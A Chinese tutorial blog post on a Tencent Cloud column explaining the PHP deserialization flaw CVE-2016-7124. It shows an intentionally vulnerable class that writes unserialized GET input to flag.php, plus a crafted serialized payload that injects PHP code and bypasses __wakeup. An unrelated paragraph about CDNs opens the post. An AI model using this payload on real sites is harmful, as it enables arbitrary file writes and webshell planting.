前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2016-7124反序列化漏洞

CVE-2016-7124反序列化漏洞

作者头像
vFREE
发布2021-12-20 21:55:26
1K0
发布2021-12-20 21:55:26
举报
文章被收录于专栏:博客原创文章博客原创文章

CDN即内容分发网络,主要是解决访问网站速度,比如说,某个网站的主机是在黑龙江的,现在有人要在广东访问,没有CDN加速的话,肯定是慢的,CDN的作用就是将该网站的静态资源先放在各地的CDN主机上,如果有人需要访问,就会就近原则,访问cdn主机上的静态资源,这样子,访问的速度,就有了大大的提升

漏洞成因

今天学习反序列化的时候,看到cve-2016-7124的这个漏洞,漏洞产生的原因是因为可以修改属性数的大小跳过wakeup的执行,何为wakeup呢?

__wakeup是PHP中的一个魔术方法,如果在反序列化一个类的时候,会先检查是否有__wakeup的存在,有的话,会先调用wakeup里面的内容

利用

版本限制

PHP5:<5.6.25

PHP7:<7.0.10

代码

代码语言:javascript
复制
class vFREE{
    public $name='vFREE';
    public $age='18';
    function __wakeup(){
$this->age = "18";
    }
    function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
    }
}
$flag = $_GET['flag'];
$unser = unserialize($flag);

上面是栗子

审计一波

类名:vFREE

类属性:name和age

魔术方法:__wakeup和__destruct

__destruct是析构方法,一般都是最后或者被销毁才会给调用

类外部用到了反序列话函数unserialize,但用到这个函数时,就会像检查类vFREE中有没有__wakeup方法,有的话就执行,没有就跳过,很明显,代码中有wakeup,但是wakeup的内容就是一个赋值操作,并起不了太大的作用,反而destruct中可以利用一波,因为destruct中打开一个flag.php的文件,然后将$this->name的值作为内容写入到flag.php中,假如我们写入一个木马呢,那危害不就上来了么...

我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类vFREE进行序列化,代码如下:

代码语言:javascript
复制
<?php
class vFREE{
    public $name='vFREE';
    public $age='18';
    function __wakeup(){
 $this->age = "18";
    }
    function __destruct(){
 $path='flag.php';
 $file_get=file_put_contents($path,$this->name);
 
    }
}
$vfree=new vFREE();
echo serialize($vfree);
?>

序列化后得到

代码语言:javascript
复制
O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}

O即对象的缩写

5即说明类名有五位字符

2即有两个类属性

{}即所有类属性名和内容

s即字符串

4即类属性名有4位字符

name即类属性名字

以此类推...

此时在看代码,发现写入到flag.php中的是$this->name的值,所以,我们要更改name的内容,怎么改呢?把name后面s:5:"vFREE"的vFREE改成你先插入的内容,比如改成<?php phpinfo();?>,就变成

代码语言:javascript
复制
O:5:"vFREE":2:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

注意,此时s后面的5改成18了,因为<?php phpinfo();?>一共有18个字符,所以,数值要随着字符数的变化而变化,然后传入即可

当然,此时还是会先执行wakeup方法的,并未先执行destruct,根据开头讲的,更改原有属性值达到绕过过wakeup的效果,此时的类中属性值是2,我们要将2改成其他数字,改成什么都行,反之一定要大于2,比如

代码语言:javascript
复制
O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

改成5,就可以绕过了

成功写入,当然,可以写其他的,自己发挥啦,别干坏事就好了

注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档